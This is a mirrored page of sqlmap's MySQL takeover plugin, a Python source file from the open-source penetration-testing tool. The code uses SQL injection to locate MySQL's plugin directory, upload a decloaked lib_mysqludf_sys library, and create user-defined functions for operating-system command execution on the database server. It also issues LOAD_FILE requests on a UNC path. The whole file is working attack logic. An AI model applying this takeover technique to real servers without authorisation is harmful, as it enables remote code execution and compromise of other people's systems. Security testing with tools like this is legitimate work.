Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/plugins/dbms/mysql/takeover.py
2992 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
import os
9
10
from lib.core.agent import agent
11
from lib.core.common import Backend
12
from lib.core.common import decloakToTemp
13
from lib.core.common import isStackingAvailable
14
from lib.core.common import isWindowsDriveLetterPath
15
from lib.core.common import normalizePath
16
from lib.core.common import ntToPosixSlashes
17
from lib.core.common import randomStr
18
from lib.core.common import unArrayizeValue
19
from lib.core.compat import LooseVersion
20
from lib.core.data import kb
21
from lib.core.data import logger
22
from lib.core.data import paths
23
from lib.core.enums import OS
24
from lib.request import inject
25
from lib.request.connect import Connect as Request
26
from plugins.generic.takeover import Takeover as GenericTakeover
27
28
class Takeover(GenericTakeover):
29
def __init__(self):
30
self.__basedir = None
31
self.__datadir = None
32
self.__plugindir = None
33
34
GenericTakeover.__init__(self)
35
36
def udfSetRemotePath(self):
37
self.getVersionFromBanner()
38
39
banVer = kb.bannerFp["dbmsVersion"]
40
41
if banVer and LooseVersion(banVer) >= LooseVersion("5.0.67"):
42
if self.__plugindir is None:
43
logger.info("retrieving MySQL plugin directory absolute path")
44
self.__plugindir = unArrayizeValue(inject.getValue("SELECT @@plugin_dir"))
45
46
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
47
if self.__plugindir is None and LooseVersion(banVer) >= LooseVersion("5.1.19"):
48
logger.info("retrieving MySQL base directory absolute path")
49
50
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
51
self.__basedir = unArrayizeValue(inject.getValue("SELECT @@basedir"))
52
53
if isWindowsDriveLetterPath(self.__basedir or ""):
54
Backend.setOs(OS.WINDOWS)
55
else:
56
Backend.setOs(OS.LINUX)
57
58
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
59
if Backend.isOs(OS.WINDOWS):
60
self.__plugindir = "%s/lib/plugin" % self.__basedir
61
else:
62
self.__plugindir = "%s/lib/mysql/plugin" % self.__basedir
63
64
self.__plugindir = ntToPosixSlashes(normalizePath(self.__plugindir)) or '.'
65
66
self.udfRemoteFile = "%s/%s.%s" % (self.__plugindir, self.udfSharedLibName, self.udfSharedLibExt)
67
68
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
69
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
70
else:
71
# logger.debug("retrieving MySQL data directory absolute path")
72
73
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
74
# self.__datadir = inject.getValue("SELECT @@datadir")
75
76
# NOTE: specifying the relative path as './udf.dll'
77
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
78
self.__datadir = '.'
79
self.__datadir = ntToPosixSlashes(normalizePath(self.__datadir))
80
81
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
82
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
83
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
84
85
def udfSetLocalPaths(self):
86
self.udfLocalFile = paths.SQLMAP_UDF_PATH
87
self.udfSharedLibName = "libs%s" % randomStr(lowercase=True)
88
89
if Backend.isOs(OS.WINDOWS):
90
_ = os.path.join(self.udfLocalFile, "mysql", "windows", "%d" % Backend.getArch(), "lib_mysqludf_sys.dll_")
91
self.udfLocalFile = decloakToTemp(_)
92
self.udfSharedLibExt = "dll"
93
else:
94
_ = os.path.join(self.udfLocalFile, "mysql", "linux", "%d" % Backend.getArch(), "lib_mysqludf_sys.so_")
95
self.udfLocalFile = decloakToTemp(_)
96
self.udfSharedLibExt = "so"
97
98
def udfCreateFromSharedLib(self, udf, inpRet):
99
if udf in self.udfToCreate:
100
logger.info("creating UDF '%s' from the binary UDF file" % udf)
101
102
ret = inpRet["return"]
103
104
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
105
inject.goStacked("DROP FUNCTION %s" % udf)
106
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
107
108
self.createdUdf.add(udf)
109
else:
110
logger.debug("keeping existing UDF '%s' as requested" % udf)
111
112
def uncPathRequest(self):
113
if not isStackingAvailable():
114
query = agent.prefixQuery("AND LOAD_FILE('%s')" % self.uncPath)
115
query = agent.suffixQuery(query)
116
payload = agent.payload(newValue=query)
117
118
Request.queryPage(payload)
119
else:
120
inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True)
121
122